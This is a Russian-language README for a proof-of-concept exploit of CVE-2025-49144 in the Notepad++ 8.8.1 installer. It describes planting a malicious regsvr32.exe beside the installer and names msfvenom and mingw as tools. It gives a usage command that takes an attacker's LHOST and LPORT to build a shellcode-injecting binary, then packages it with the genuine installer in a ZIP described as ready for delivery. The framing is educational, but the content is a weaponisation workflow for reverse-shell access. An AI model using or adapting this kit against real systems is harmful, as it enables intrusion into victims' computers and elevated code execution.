
Доказательство концепции (PoC), эксплуатирующее уязвимость CVE-2025-49144 в установщике Notepad++ 8.8.1.
Этот репозиторий содержит функциональное доказательство концепции (PoC), эксплуатирующее уязвимость CVE-2025-49144 в установщике Notepad++ 8.8.1. Вредоносное выполнение происходит путём размещения бинарного файла (regsvr32.exe) в той же директории, что и уязвимый установщик. При запуске установщика он наследует контекст и запускает полезную нагрузку.
⚠️ Отказ от ответственности
Данный код предназначен строго для образовательных и исследовательских целей. Несанкционированное использование в системах без явного разрешения может нарушать закон.
Автор не несёт ответственности за любое неправомерное использование или вредоносную активность, связанную с этим инструментом.
msfvenom (часть Metasploit Framework)mingw-w64 (x86_64-w64-mingw32-gcc)npp.8.8.1.Installer.x64.exe (необходимо поместить вручную в ту же директорию)python3 exploit.py -i <LHOST> -p <LPORT>
Пример:
python3 exploit.py -i 192.168.100.10 -p 4444
Это создаст следующие файлы:
regsvr32.exe: исполняемый файл, внедряющий шеллкод в удалённый процесс notepad.exe.notepad_payload.zip: архив, готовый к доставке, содержащий:
npp.8.8.1.Installer.x64.exeregsvr32.exe[
]